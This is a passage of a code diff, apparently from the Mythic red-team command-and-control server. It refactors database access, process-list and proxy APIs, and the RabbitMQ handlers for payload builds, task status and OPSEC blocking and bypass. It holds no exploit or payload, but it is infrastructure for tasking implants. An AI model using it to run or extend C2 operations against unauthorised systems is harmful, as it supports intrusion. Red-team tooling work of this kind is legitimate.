+ position = 1
+ for x in current_params:
+ if x.ui_position != position:
+ x.ui_position = position
+ await app.db_objects.update(x)
+ position += 1
# now to process the att&cks
for attack in cmd["attack"]:
- query = await db_model.attack_query()
- attck = await db_objects.get(query, t_num=attack["t_num"])
- query = await db_model.attackcommand_query()
try:
- await db_objects.get(query, command=command, attack=attck)
- except Exception as e:
- # we got here so it doesn't exist, so create it and move on
- await db_objects.create(ATTACKCommand, command=command, attack=attck)
+ attck = await app.db_objects.get(db_model.attack_query, t_num=attack["t_num"])
+ try:
+ await app.db_objects.get(db_model.attackcommand_query, command=command, attack=attck)
+ except Exception as e:
+ # we got here so it doesn't exist, so create it and move on
+ await app.db_objects.create(ATTACKCommand, command=command, attack=attck)
+ except Exception as attack_e:
+ from app.api.operation_api import send_all_operations_message
+ asyncio.create_task(send_all_operations_message(
+ message=f"Failed to find ATT&CK number {attack['t_num']} for {command.cmd} in {command.payload_type.ptype}",
+ level="warning"
+ ))
# now process the command file
- if "browser_script" in cmd:
- browserscriptquery = await db_model.browserscript_query()
- try:
- # first update the base case,then loop through operators
- script = await db_objects.get(
- browserscriptquery,
- operator=None,
- payload_type=payload_type,
- command=command,
- )
- script.container_version = cmd["browser_script"]["script"]
- script.script = cmd["browser_script"]["script"]
- script.container_version_author = cmd["browser_script"]["author"]
- script.author = cmd["browser_script"]["author"]
- await db_objects.update(script)
- except Exception as e:
- await db_objects.create(
+ for sync_script in cmd["browser_script"]:
+ # we want to create a new script for the new ui
+ script = await app.db_objects.create(
+ db_model.BrowserScript,
+ script=sync_script["script"],
+ container_version=sync_script["script"],
+ payload_type=payload_type,
+ command=command,
+ author=sync_script["author"],
+ container_version_author=sync_script["author"],
+ for_new_ui=sync_script["for_new_ui"]
+ )
+ # now loop through all users
+ operators = await app.db_objects.execute(
+ db_model.operator_query.where(db_model.Operator.deleted == False)
+ )
+ for op in operators:
+ await app.db_objects.create(
db_model.BrowserScript,
- script=cmd["browser_script"]["script"],
- container_version=cmd["browser_script"]["script"],
+ script=sync_script["script"],
+ container_version=sync_script["script"],
+ operator=op,
payload_type=payload_type,
command=command,
- operator=None,
- author=cmd["browser_script"]["author"],
- container_version_author=cmd["browser_script"]["author"],
+ author=sync_script["author"],
+ container_version_author=sync_script["author"],
+ for_new_ui=sync_script["for_new_ui"]
)
- # now loop through all users
- operator_query = await db_model.operator_query()
- operators = await db_objects.execute(
- operator_query.where(db_model.Operator.deleted == False)
- )
- for op in operators:
- try:
- # first update the base case,then loop through operators
- script = await db_objects.get(
- browserscriptquery,
- payload_type=payload_type,
- operator=op,
- command=command,
- )
- script.container_version = cmd["browser_script"]["script"]
- script.container_version_author = cmd["browser_script"]["author"]
- if not script.user_modified:
- script.script = cmd["browser_script"]["script"]
- script.author = cmd["browser_script"]["author"]
- await db_objects.update(script)
- except Exception as e:
- await db_objects.create(
- db_model.BrowserScript,
- script=cmd["browser_script"]["script"],
- container_version=cmd["browser_script"]["script"],
- operator=op,
- payload_type=payload_type,
- command=command,
- author=cmd["browser_script"]["author"],
- container_version_author=cmd["browser_script"]["author"],
- )
+
+
+async def add_update_opsec_for_command(command, data):
+ if command.opsec is not None:
+ if data["opsec"] == {}:
+ # we're wanting to just remove the opsec component
+ command.opsec = None
+ else:
+ command.opsec.injection_method = data["opsec"]["injection_method"]
+ command.opsec.process_creation = data["opsec"]["process_creation"]
+ command.opsec.authentication = data["opsec"]["authentication"]
+ await app.db_objects.update(command.opsec)
+ elif data["opsec"] == {}:
+ return
+ else:
+ # command.opsec is None and we have "opsec" data to register
+ try:
+ opsec = await app.db_objects.create(db_model.CommandOPSEC, **data["opsec"])
+ command.opsec = opsec
+ except Exception as e:
+ logger.warning("Failed to create OPSEC for command: " + str(e))
diff --git a/mythic-docker/app/api/processlist_api.py b/mythic-docker/app/api/processlist_api.py
index 8e2d452d0..ff79fd156 100755
--- a/mythic-docker/app/api/processlist_api.py
+++ b/mythic-docker/app/api/processlist_api.py
@@ -1,12 +1,14 @@
-from app import mythic, db_objects
+from app import mythic
+import app
from sanic.response import json
from sanic_jwt.decorators import scoped, inject_user
import app.database_models.model as db_model
import sys
from sanic.exceptions import abort
-import ujson as js
+import datetime
import base64
+
# This gets all responses in the database
@mythic.route(mythic.config["API_BASE"] + "/process_lists/", methods=["GET"])
@inject_user()
@@ -20,13 +22,11 @@ async def get_all_process_lists(request, user):
message="Cannot access via Cookies. Use CLI or access via JS in browser",
)
try:
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
except Exception as e:
return json({"status": "error", "error": "failed to get current operation"})
- query = await db_model.processlist_query()
- process_lists = await db_objects.execute(
- query.where(db_model.ProcessList.operation == operation)
+ process_lists = await app.db_objects.execute(
+ db_model.process_query.where(db_model.Process.operation == operation)
)
return json(
{"status": "success", "process_lists": [l.to_json() for l in process_lists]}
@@ -34,64 +34,57 @@ async def get_all_process_lists(request, user):
@mythic.route(
- mythic.config["API_BASE"] + "/process_list//", methods=["GET"]
+ mythic.config["API_BASE"] + "/process_list/", methods=["POST"]
)
@inject_user()
@scoped(
["auth:user", "auth:apitoken_user"], False
) # user or user-level api token are ok
-async def get_a_process_list(request, user, pid, host):
+async def get_a_process_list(request, user):
if user["auth"] not in ["access_token", "apitoken"]:
abort(
status_code=403,
message="Cannot access via Cookies. Use CLI or access via JS in browser",
)
try:
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
except Exception as e:
return json({"status": "error", "error": "failed to get current operation"})
- host = base64.b64decode(host).decode("utf-8").upper()
- query = await db_model.processlist_query()
- if pid > 0:
- try:
- process_list = await db_objects.get(
- query.where(
- (db_model.ProcessList.operation == operation)
- & (db_model.ProcessList.id == pid)
- & (db_model.ProcessList.host == host)
- )
- )
- except Exception as e:
- return json({"status": "error", "error": "failed to find process list"})
- else:
- # get the latest one
- latest = await db_objects.execute(
- query.where(
- (db_model.ProcessList.operation == operation)
- & (db_model.ProcessList.host == host)
- )
- .order_by(-db_model.ProcessList.timestamp)
- .limit(1)
+ data = request.json
+ if "host" not in data or data["host"] is None:
+ return json({"status": "error", "error": "missing host field"})
+ host = data["host"].upper()
+ # get the latest one
+ latest = await app.db_objects.execute(
+ db_model.process_query.where(
+ (db_model.Process.operation == operation)
+ & (db_model.Process.host == host)
)
- process_list = list(latest)
- if len(process_list) != 0:
- process_list = process_list[0]
+ .order_by(-db_model.Process.timestamp)
+ )
+ processes = []
+ latest_timestamp = None
+ task = None
+ callback = None
+ for p in latest:
+ if latest_timestamp is None:
+ latest_timestamp = p.timestamp
+ task = p.task.id
+ callback = p.task.callback.id
+ if p.timestamp == latest_timestamp:
+ processes.append(p.to_json())
else:
- return json({"status": "success", "process_list": {}, "tree_list": {}})
- plist = process_list.to_json()
- try:
- plist["process_list"] = js.loads(plist["process_list"])
- except Exception as e:
- return json(
- {"status": "error", "error": "failed to parse process list data as JSON"}
- )
+ break
try:
- tree_list = await get_process_tree(plist["process_list"])
+ tree_list = await get_process_tree(processes)
except Exception as e:
print(str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
tree_list = {}
- return json({"status": "success", "process_list": plist, "tree_list": tree_list})
+ if task is None:
+ return json({"status": "error", "error": "No process data yet for that host"})
+ return json({"status": "success", "process_list": {"task": task, "callback": callback,"host": host,
+ "timestamp": latest_timestamp.strftime("%m/%d/%Y %H:%M:%S.%f"),
+ "process_list": processes}, "tree_list": tree_list})
@mythic.route(mythic.config["API_BASE"] + "/process_list/search", methods=["POST"])
@@ -106,17 +99,19 @@ async def get_adjacent_process_list(request, user):
message="Cannot access via Cookies. Use CLI or access via JS in browser",
)
try:
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
except Exception as e:
return json({"status": "error", "error": "failed to get current operation"})
try:
data = request.json
except Exception as e:
return json({"status": "error", "error": "must provide json data"})
- query = await db_model.processlist_query()
- if "pid" not in data or data["pid"] <= 0:
- return json({"status": "error", "error": '"pid" is required'})
+ if "timestamp" not in data or data["timestamp"] == "" or data["timestamp"] is None:
+ return json({"status": "error", "error": '"timestamp" is required'})
+ try:
+ timestamp = datetime.datetime.strptime(data["timestamp"], "%m/%d/%Y %H:%M:%S.%f")
+ except Exception as e:
+ return json({"status": "error", "error": "bad timestamp"})
if "adjacent" not in data or data["adjacent"] not in ["next", "prev"]:
return json(
{
@@ -128,19 +123,26 @@ async def get_adjacent_process_list(request, user):
return json({"status": "error", "error": '"host" is required'})
if data["adjacent"] == "prev":
try:
- process_list = await db_objects.execute(
- query.where(
- (db_model.ProcessList.operation == operation)
- & (db_model.ProcessList.id < data["pid"])
- & (db_model.ProcessList.host == data["host"].upper())
+ process_list = await app.db_objects.execute(
+ db_model.process_query.where(
+ (db_model.Process.operation == operation)
+ & (db_model.Process.timestamp < timestamp)
+ & (db_model.Process.host == data["host"].upper())
)
- .order_by(-db_model.ProcessList.id)
- .limit(1)
+ .order_by(-db_model.Process.timestamp)
)
- process_list = list(process_list)
- if len(process_list) != 0:
- process_list = process_list[0]
- else:
+ processes = []
+ latest_timestamp = None
+ task = None
+ callback = None
+ for p in process_list:
+ if latest_timestamp is None:
+ latest_timestamp = p.timestamp
+ task = p.task.id
+ callback = p.task.callback.id
+ if p.timestamp == latest_timestamp:
+ processes.append(p.to_json())
+ if task is None:
return json(
{
"status": "error",
@@ -149,44 +151,47 @@ async def get_adjacent_process_list(request, user):
)
except Exception as e:
return json(
- {"status": "error", "error": "No earlier process lists for this host"}
+ {"status": "error", "error": "Error trying to get process lists for this host"}
)
else:
# get the latest one
try:
- process_list = await db_objects.execute(
- query.where(
- (db_model.ProcessList.operation == operation)
- & (db_model.ProcessList.id > data["pid"])
- & (db_model.ProcessList.host == data["host"].upper())
+ process_list = await app.db_objects.execute(
+ db_model.process_query.where(
+ (db_model.Process.operation == operation)
+ & (db_model.Process.timestamp > timestamp)
+ & (db_model.Process.host == data["host"].upper())
)
- .order_by(db_model.ProcessList.timestamp)
- .limit(1)
+ .order_by(db_model.Process.timestamp)
)
- process_list = list(process_list)
- if len(process_list) != 0:
- process_list = process_list[0]
- else:
+ processes = []
+ latest_timestamp = None
+ task = None
+ callback = None
+ for p in process_list:
+ if latest_timestamp is None:
+ latest_timestamp = p.timestamp
+ task = p.task.id
+ callback = p.task.callback.id
+ if p.timestamp == latest_timestamp:
+ processes.append(p.to_json())
+ if task is None:
return json(
{"status": "error", "error": "No later process lists for this host"}
)
except Exception as e:
return json(
- {"status": "error", "error": "No later process lists for this host"}
+ {"status": "error", "error": "Error getting process list for this host"}
)
- plist = process_list.to_json()
- try:
- plist["process_list"] = js.loads(plist["process_list"])
- except Exception as e:
- return json(
- {"status": "error", "error": "Failed to parse process list as JSON"}
- )
+
try:
- tree = await get_process_tree(plist["process_list"])
+ tree = await get_process_tree(processes)
except Exception as e:
print(str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
tree = {}
- return json({"status": "success", "process_list": plist, "tree_list": tree})
+ return json({"status": "success", "process_list": {"task": task, "callback": callback, "host": data["host"].upper(),
+ "timestamp": latest_timestamp.strftime("%m/%d/%Y %H:%M:%S.%f"),
+ "process_list": processes}, "tree_list": tree})
async def get_process_tree(pl):
diff --git a/mythic-docker/app/api/proxies_api.py b/mythic-docker/app/api/proxies_api.py
index fff58ad18..b7b72822d 100644
--- a/mythic-docker/app/api/proxies_api.py
+++ b/mythic-docker/app/api/proxies_api.py
@@ -1,4 +1,5 @@
-from app import mythic, db_objects
+from app import mythic
+import app
from sanic_jwt.decorators import inject_user, scoped
import app.database_models.model as db_model
from sanic.response import json
@@ -19,16 +20,14 @@ async def get_proxies(request, user):
message="Cannot access via Cookies. Use CLI or access via JS in browser",
)
try:
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
- callbacks_query = await db_model.callback_query()
- proxies = await db_objects.execute(
- callbacks_query.where(
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
+ proxies = await app.db_objects.execute(
+ db_model.callback_query.where(
(db_model.Callback.operation == operation)
& (db_model.Callback.port != None)
)
)
- return json({"status": "success", "proxies": [p.to_json() for p in proxies]})
+ return json({"status": "success", "proxies": [p.to_json(False) for p in proxies]})
except Exception as e:
print(str(e))
return json({"status": "error", "error": "failed to find proxies or operation"})
@@ -48,12 +47,10 @@ async def stop_socks_in_callback(request, user, pid):
try:
if user["view_mode"] == "spectator":
return json({"status": "error", "error": "Spectators cannot stop socks"})
- query = await db_model.callback_query()
- proxy = await db_objects.get(query, port=pid)
- operator_query = await db_model.operator_query()
- operator = await db_objects.get(operator_query, username=user["username"])
+ proxy = await app.db_objects.get(db_model.callback_query, port=pid)
+ operator = await app.db_objects.get(db_model.operator_query, username=user["username"])
await stop_socks(proxy, operator)
- return json({"status": "success", **proxy.to_json()})
+ return json({"status": "success", **proxy.to_json(False)})
except Exception as e:
print(str(e))
return json({"status": "error", "error": "failed to find proxy"})
diff --git a/mythic-docker/app/api/rabbitmq_api.py b/mythic-docker/app/api/rabbitmq_api.py
index 2fb69ebe7..90cc68e3e 100755
--- a/mythic-docker/app/api/rabbitmq_api.py
+++ b/mythic-docker/app/api/rabbitmq_api.py
@@ -1,4 +1,5 @@
-from app import db_objects
+from app import mythic, valid_payload_container_version_bounds, valid_c2_container_version_bounds, valid_translation_container_version_bounds
+import app
import datetime
import app.database_models.model as db_model
import aio_pika
@@ -12,11 +13,11 @@
from functools import partial
import traceback
import uuid
-import app.crypto as crypt
from app.api.operation_api import send_all_operations_message
from app.api.siem_logger import log_to_siem
-
-
+import operator
+from peewee import reduce, TextField, BooleanField, IntegerField, fn
+from app.api.file_browser_api import mark_nested_deletes, add_upload_file_to_file_browser
# Keep track of sending sync requests to containers so we don't go crazy
sync_tasks = {}
@@ -24,14 +25,35 @@
async def rabbit_c2_callback(message: aio_pika.IncomingMessage):
with message.process():
pieces = message.routing_key.split(".")
- # print(" [x] %r:%r" % (message.routing_key,message.body))
+ #logger.warning(pieces)
+ #logger.warning(" [x] %r:%r" % (message.routing_key,message.body))
if pieces[4] == "sync_classes":
+ if len(pieces) == 7:
+ if int(pieces[6]) > valid_c2_container_version_bounds[1] or \
+ int(pieces[6]) < valid_c2_container_version_bounds[0]:
+ asyncio.create_task(
+ send_all_operations_message(
+ message="C2 Profile container, {}, of version {} is not supported by this version of Mythic.\nThe container version must be between {} and {}. Sending a kill message now".format(
+ pieces[2], pieces[6], str(valid_c2_container_version_bounds[0]),
+ str(valid_c2_container_version_bounds[1])
+ ), level="warning", source="bad_c2_version"))
+ from app.api.c2profiles_api import kill_c2_profile_container
+ await kill_c2_profile_container(pieces[2])
+ return
+ else:
+ asyncio.create_task(
+ send_all_operations_message(
+ message="C2 Profile container, {}, of version 1 is not supported by this version of Mythic.\nThe container version must be between {} and {}".format(
+ pieces[2],
+ str(valid_c2_container_version_bounds[0]),
+ str(valid_c2_container_version_bounds[1])
+ ), level="warning", source="bad_c2_version"))
+ return
if pieces[5] == "":
operator = None
else:
- query = await db_model.operator_query()
- operator = await db_objects.get(
- query, username=base64.b64decode(pieces[5]).decode()
+ operator = await app.db_objects.get(
+ db_model.operator_query, username=base64.b64decode(pieces[5]).decode()
)
from app.api.c2profiles_api import import_c2_profile_func
@@ -40,45 +62,72 @@ async def rabbit_c2_callback(message: aio_pika.IncomingMessage):
json.loads(message.body.decode()), operator
)
except Exception as e:
- await send_all_operations_message("Failed Sync-ed database with {} C2 files: {}".format(
+ asyncio.create_task(send_all_operations_message(message="Failed Sync-ed database with {} C2 files: {}".format(
pieces[2], str(e)
- ), "warning")
+ ), level="warning", source="sync_c2_failed"))
return
+ profile = status.pop("profile")
if status["status"] == "success":
sync_tasks.pop(pieces[2], None)
- await send_all_operations_message("Successfully Sync-ed database with {} C2 files".format(
- pieces[2]
- ), "info")
+ asyncio.create_task(send_all_operations_message(message="Successfully Sync-ed database with {} C2 files".format(
+ pieces[2]
+ ), level="info", source="sync_c2_success"))
# for a successful checkin, we need to find all non-wrapper payload types and get them to re-check in
if status["new"]:
- query = await db_model.payloadtype_query()
- pts = await db_objects.execute(
- query.where(db_model.PayloadType.wrapper == False)
+ pts = await app.db_objects.execute(
+ db_model.payloadtype_query.where(db_model.PayloadType.wrapper == False)
)
sync_operator = "" if operator is None else operator.username
for pt in pts:
if pt.ptype not in sync_tasks:
sync_tasks[pt.ptype] = True
- await send_pt_rabbitmq_message(
- pt.ptype, "sync_classes", "", sync_operator
+ stats = await send_pt_rabbitmq_message(
+ pt.ptype, "sync_classes", "", sync_operator, ""
)
+ if stats["status"] == "error":
+ asyncio.create_task(send_all_operations_message(
+ message="Failed to contact {} service: {}\nIs the container online and at least version 7?".format(
+ pt.ptype, status["error"]
+ ), level="warning", source="payload_import_sync_error"))
+ if not profile.is_p2p:
+ from app.api.c2profiles_api import start_stop_c2_profile
+ run_stat, successfully_started = await start_stop_c2_profile(action="start", profile=profile)
+ run_stat = json.loads(run_stat)
+ try:
+ if "running" in run_stat:
+ profile.running = run_stat["running"]
+ profile.container_running = True
+ profile.last_heartbeat = datetime.datetime.utcnow()
+ await app.db_objects.update(profile)
+ if run_stat["running"]:
+ await send_all_operations_message(
+ message=f"C2 Profile {profile.name} successfully started",
+ level="info", source="update_c2_profile")
+ else:
+ await send_all_operations_message(
+ message=f"C2 Profile {profile.name} failed to automatically start",
+ level="info", source="update_c2_profile")
+ return
+ except Exception as c:
+ logger.warning("rabbitmq_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(c))
else:
sync_tasks.pop(pieces[2], None)
- await send_all_operations_message("Failed Sync-ed database with {} C2 files: {}".format(
- pieces[2], status["error"]
- ), "warning")
+ asyncio.create_task(send_all_operations_message(message="Failed Sync-ed database with {} C2 files: {}".format(
+ pieces[2], status["error"]
+ ), level="warning", source="sync_C2_errored"))
if pieces[1] == "status":
try:
- query = await db_model.c2profile_query()
- profile = await db_objects.get(query, name=pieces[2], deleted=False)
+ profile = await app.db_objects.get(db_model.c2profile_query, name=pieces[2], deleted=False)
if pieces[3] == "running" and not profile.running:
profile.running = True
- await db_objects.update(profile)
- await send_all_operations_message(message=f"C2 Profile {profile.name} has started", level="info")
+ await app.db_objects.update(profile)
+ asyncio.create_task(
+ send_all_operations_message(message=f"C2 Profile {profile.name} has started", level="info", source="c2_started"))
elif pieces[3] == "stopped" and profile.running:
profile.running = False
- await db_objects.update(profile)
- await send_all_operations_message(message=f"C2 Profile {profile.name} has stopped", level="warning")
+ await app.db_objects.update(profile)
+ asyncio.create_task(
+ send_all_operations_message(message=f"C2 Profile {profile.name} has stopped", level="warning", source="c2_stopped"))
# otherwise we got a status that matches the current status, just move on
except Exception as e:
logger.exception(
@@ -86,7 +135,6 @@ async def rabbit_c2_callback(message: aio_pika.IncomingMessage):
pieces, str(e)
)
)
- # print("Exception in rabbit_c2_callback (status): {}, {}".format(pieces, str(e)))
async def rabbit_pt_callback(message: aio_pika.IncomingMessage):
@@ -97,48 +145,70 @@ async def rabbit_pt_callback(message: aio_pika.IncomingMessage):
# message.body.decode('utf-8')
# ))
if pieces[1] == "status":
+ if len(pieces) == 8:
+ if int(pieces[7]) > valid_payload_container_version_bounds[1] or \
+ int(pieces[7]) < valid_payload_container_version_bounds[0]:
+ asyncio.create_task(
+ send_all_operations_message(
+ message="Payload container, {}, of version {} is not supported by this version of Mythic.\nThe container version must be between {} and {}. Sending Exit command".format(
+ pieces[2], pieces[7], str(valid_payload_container_version_bounds[0]),
+ str(valid_payload_container_version_bounds[1])
+ ), level="warning", source="bad_payload_version_" + pieces[2]))
+ stats = await send_pt_rabbitmq_message(pieces[2], "exit_container", "", "", "")
+ if stats["status"] == "error":
+ asyncio.create_task(send_all_operations_message(
+ message="Failed to contact {} service to task it to exit: {}\nIs the container online and at least version 7?".format(
+ pieces[2], stats["error"]
+ ), level="warning", source="payload_import_sync_error"))
+ return
+ else:
+ asyncio.create_task(
+ send_all_operations_message(
+ message="Payload container, {}, of version 1 is not supported by this version of Mythic.\nThe container version must be between {} and {}".format(
+ pieces[2], str(valid_payload_container_version_bounds[0]),
+ str(valid_payload_container_version_bounds[1])
+ ), level="warning", source="bad_payload_version_" + pieces[2]))
+ return
try:
if pieces[3] == "create_payload_with_code":
+ # print(pieces)
# this means we should be getting back the finished payload or an error
- query = await db_model.payload_query()
- payload = await db_objects.get(query, uuid=pieces[4])
+ payload = await app.db_objects.get(db_model.payload_query, uuid=pieces[4])
agent_message = json.loads(message.body.decode())
if agent_message["status"] == "success":
- file = open(payload.file_id.path, "wb")
+ file = open(payload.file.path, "wb")
file.write(base64.b64decode(agent_message["payload"]))
file.close()
code = base64.b64decode(agent_message["payload"])
md5 = await hash_MD5(code)
sha1 = await hash_SHA1(code)
- payload.file_id.md5 = md5
- payload.file_id.sha1 = sha1
- await db_objects.update(payload.file_id)
- query = await db_model.buildparameterinstance_query()
- current_instances = await db_objects.execute(
- query.where(
+ payload.file.md5 = md5
+ payload.file.sha1 = sha1
+ await app.db_objects.update(payload.file)
+ current_instances = await app.db_objects.execute(
+ db_model.buildparameterinstance_query.where(
db_model.BuildParameterInstance.payload == payload
)
)
for ci in current_instances:
if (
- ci.build_parameter.name
- in agent_message["build_parameter_instances"]
+ ci.build_parameter.name
+ in agent_message["build_parameter_instances"]
):
ci.parameter = agent_message[
"build_parameter_instances"
][ci.build_parameter.name]
- await db_objects.update(ci)
+ await app.db_objects.update(ci)
del agent_message["build_parameter_instances"][
ci.build_parameter.name
]
- query = await db_model.buildparameter_query()
for k, v in agent_message["build_parameter_instances"].items():
# now create entries that were set to default in the build script that weren't supplied by the user
try:
- bp = await db_objects.get(
- query, name=k, payload_type=payload.payload_type
+ bp = await app.db_objects.get(
+ db_model.buildparameter_query, name=k, payload_type=payload.payload_type
)
- await db_objects.create(
+ await app.db_objects.create(
db_model.BuildParameterInstance,
parameter=v,
payload=payload,
@@ -151,63 +221,172 @@ async def rabbit_pt_callback(message: aio_pika.IncomingMessage):
k
)
payload.build_phase = agent_message["status"]
- payload.build_message = agent_message["message"]
- await db_objects.update(payload)
- await log_to_siem(payload.to_json(), mythic_object="payload_new")
+ payload.build_message = payload.build_message + "\n" + agent_message["build_message"]
+ payload.build_stderr = agent_message["build_stderr"] if "build_stderr" in agent_message else ""
+ payload.build_stdout = agent_message["build_stdout"] if "build_stdout" in agent_message else ""
+ await app.db_objects.update(payload)
+ asyncio.create_task(log_to_siem(mythic_object=payload, mythic_source="payload_new"))
elif pieces[3] == "command_transform":
- query = await db_model.task_query()
- task = await db_objects.get(query, id=pieces[5])
- if pieces[4] == "error":
- # create a response that there was an error and set task to processed
- task.status = "error"
- task.completed = True
- task.timestamp = datetime.datetime.utcnow()
- task.status_timestamp_processed = task.timestamp
- await db_objects.create(
- db_model.Response,
- task=task,
- response=message.body.decode("utf-8"),
- )
- await db_objects.update(task)
- else:
- task.params = message.body
- task.timestamp = datetime.datetime.utcnow()
- if pieces[4] == "success":
- task.status = "submitted"
- elif pieces[4] == "completed":
- task.status = "processed"
+ from app.api.task_api import check_and_issue_task_callback_functions
+ async with app.db_objects.atomic():
+ task = await app.db_objects.execute(db_model.Task.select().where(db_model.Task.id == pieces[4]).for_update())
+ task = list(task)[0]
+ if pieces[5] == "error":
+ # create a response that there was an error and set task to processed
+ task.status = "error"
+ task.completed = True
+ task.timestamp = datetime.datetime.utcnow()
+ task.status_timestamp_submitted = task.timestamp
+ task.status_timestamp_processed = task.timestamp
+ try:
+ tmp = json.loads(message.body)
+ if "display_params" in tmp:
+ task.display_params = tmp["display_params"]
+ if "stdout" in tmp:
+ task.stdout = tmp["stdout"]
+ if "stderr" in tmp:
+ task.stderr = tmp["stderr"]
+ if "params" in tmp:
+ task.params = tmp["params"]
+ await app.db_objects.create(
+ db_model.Response,
+ task=task,
+ response=task.stderr,
+ )
+ except:
+ await app.db_objects.create(
+ db_model.Response,
+ task=task,
+ response=message.body.decode("utf-8"),
+ )
+ await app.db_objects.update(task)
+ asyncio.create_task(check_and_issue_task_callback_functions(task))
+ elif pieces[5] == "opsec_pre":
+ tmp = json.loads(message.body)
+ task.opsec_pre_blocked = tmp["opsec_pre_blocked"]
+ task.opsec_pre_message = tmp["opsec_pre_message"]
+ task.opsec_pre_bypass_role = tmp["opsec_pre_bypass_role"]
+ await app.db_objects.update(task)
+ elif pieces[5] == "opsec_post":
+ tmp = json.loads(message.body)
+ task.opsec_post_blocked = tmp["opsec_post_blocked"]
+ task.opsec_post_message = tmp["opsec_post_message"]
+ task.opsec_post_bypass_role = tmp["opsec_post_bypass_role"]
+ await app.db_objects.update(task)
+ else:
+ tmp = json.loads(message.body)
+ task.params = tmp["args"]
+ task.stdout = tmp["stdout"]
+ task.stderr = tmp["stderr"]
+ task.completed_callback_function = tmp["completed_callback_function"] if "completed_callback_function" in tmp else None
+ if "display_params" in tmp:
+ task.display_params = tmp["display_params"]
+ else:
+ task.display_params = task.original_params
+ task.timestamp = datetime.datetime.utcnow()
+ if pieces[5] == "success":
+ # check if there are subtasks created for this task, if so, this should not go to submitted
+ subtasks = await app.db_objects.count(db_model.task_query.where(
+ (db_model.Task.parent_task == task) &
+ (db_model.Task.completed == False)
+ ))
+ if subtasks > 0:
+ task.status = "delegating"
+ else:
+ if task.command.script_only and not task.completed:
+ task.status = "processed"
+ task.status_timestamp_processed = task.timestamp
+ task.completed = True
+ elif task.completed:
+ # this means it was already previously marked as completed
+ task.status = "processed"
+ else:
+ task.status = "submitted"
+ elif pieces[5] == "completed":
+ task.status = "processed"
+ task.status_timestamp_processed = task.timestamp
+ task.completed = True
+ else:
+ task.status = pieces[5].lower()
+ task.status_timestamp_submitted = task.timestamp
+ await app.db_objects.update(task)
+ if task.completed:
+ asyncio.create_task(check_and_issue_task_callback_functions(task))
+ asyncio.create_task(log_to_siem(mythic_object=task, mythic_source="task_new"))
+ asyncio.create_task(add_command_attack_to_task(task, task.command))
+ elif pieces[3] == "task_callback_function":
+ from app.api.task_api import check_and_issue_task_callback_functions
+ async with app.db_objects.atomic():
+ task = await app.db_objects.execute(
+ db_model.Task.select().where(db_model.Task.id == pieces[4]).for_update())
+ task = list(task)[0]
+ if "error" in pieces[5]:
+ task.status = pieces[5].lower()
task.completed = True
+ task.timestamp = datetime.datetime.utcnow()
+ task.status_timestamp_processed = task.timestamp
+ await app.db_objects.update(task)
+ asyncio.create_task(check_and_issue_task_callback_functions(task))
else:
- task.status = pieces[4]
- task.status_timestamp_submitted = task.timestamp
- await db_objects.update(task)
- await log_to_siem(task.to_json(), mythic_object="task_new")
- await add_command_attack_to_task(task, task.command)
+ tmp = json.loads(message.body)
+ task.params = tmp["args"]
+ task.stdout = tmp["stdout"]
+ task.stderr = tmp["stderr"]
+ if "display_params" in tmp:
+ task.display_params = tmp["display_params"]
+ else:
+ task.display_params = task.original_params
+ task.timestamp = datetime.datetime.utcnow()
+ if pieces[5] == "success":
+ # check if there are subtasks created for this task, if so, this should not go to submitted
+ subtasks = await app.db_objects.count(db_model.task_query.where(
+ (db_model.Task.parent_task == task) &
+ (db_model.Task.completed == False)
+ ))
+ if subtasks > 0:
+ task.status = "delegating"
+ elif not task.completed and not task.command.script_only and not (task.opsec_pre_blocked and not task.opsec_pre_bypassed)\
+ and not (task.opsec_post_blocked and not task.opsec_post_bypassed):
+ task.status = "submitted"
+ elif task.command.script_only and not task.completed:
+ task.status = "processed"
+ task.completed = True
+ asyncio.create_task(check_and_issue_task_callback_functions(task))
+ elif pieces[5] == "completed":
+ task.status = "processed"
+ task.status_timestamp_processed = task.timestamp
+ if not task.completed:
+ task.completed = True
+ await app.db_objects.update(task)
+ asyncio.create_task(check_and_issue_task_callback_functions(task))
+ else:
+ task.status = pieces[5].lower()
+ task.status_timestamp_submitted = task.timestamp
+ await app.db_objects.update(task)
elif pieces[3] == "sync_classes":
- if pieces[5] == "" or pieces[5] is None:
+ if pieces[6] == "":
# this was an auto sync from starting a container
operator = None
else:
- operator_query = await db_model.operator_query()
- operator = await db_objects.get(
- operator_query,
- username=base64.b64decode(pieces[5]).decode(),
+ operator = await app.db_objects.get(
+ db_model.operator_query,
+ username=base64.b64decode(pieces[6]).decode(),
)
sync_tasks.pop(pieces[2], None)
- if pieces[4] == "success":
+ if pieces[5] == "success":
from app.api.payloadtype_api import import_payload_type_func
try:
status = await import_payload_type_func(
json.loads(message.body.decode()), operator
)
if status["status"] == "success":
- await send_all_operations_message("Successfully Sync-ed database with {} payload files".format(
- pieces[2]
- ), "info")
+ asyncio.create_task(send_all_operations_message(
+ message="Successfully Sync-ed database with {} payload files".format(
+ pieces[2]
+ ), level="info", source="payload_sync_success"))
if status["wrapper"] and status["new"]:
- query = await db_model.payloadtype_query()
- pts = await db_objects.execute(
- query.where(
+ pts = await app.db_objects.execute(
+ db_model.payloadtype_query.where(
db_model.PayloadType.wrapper == False
)
)
@@ -217,119 +396,89 @@ async def rabbit_pt_callback(message: aio_pika.IncomingMessage):
for pt in pts:
if pt.ptype not in sync_tasks:
sync_tasks[pt.ptype] = True
- print("got sync from {}, sending sync to {}".format(pieces[2], pt.ptype))
- await send_pt_rabbitmq_message(
- pt.ptype, "sync_classes", "", sync_operator
+ logger.info(
+ "got sync from {}, sending sync to {}".format(pieces[2], pt.ptype))
+ stats = await send_pt_rabbitmq_message(
+ pt.ptype, "sync_classes", "", sync_operator, ""
)
+ if stats["status"] == "error":
+ asyncio.create_task(send_all_operations_message(
+ message="Failed to contact {} service: {}\nIs the container online and at least version 7?".format(
+ pt.ptype, status["error"]
